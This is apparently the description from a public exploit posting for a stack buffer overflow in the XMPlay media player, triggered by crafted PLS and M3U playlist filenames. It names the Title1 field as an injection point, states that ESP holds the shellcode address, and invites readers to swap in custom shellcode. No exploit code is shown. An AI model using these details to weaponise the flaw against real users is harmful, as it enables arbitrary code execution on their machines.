XMPlay - '.PLS' Local Buffer Overflow









	0-day XMPlay .PLS Filename Buffer Overflow Exploit
XMPlay and lower experiance a stack-based buffer overflow when
loading malformed M3U and PLS files (probably ASX files as well -
working on the ASX Exploit as we speak).

This merely executes CALC.exe but you could always add your own custom
shellcode (alpha2)

PLS Format
Title1=title (could also be used for the buffer overflow exploit)

ESP Stores Address of Shellcode

Huge Greets and Thanks to Expanders (expanders[at]gmail[dot]com)
Who I presented the PoC and Discovery to for the original M3U exploit
He wrote the first PoC Exploit for it.

And Jerome Athias for some neat tools.  Both of these
guys are very talented, keep up the good work.
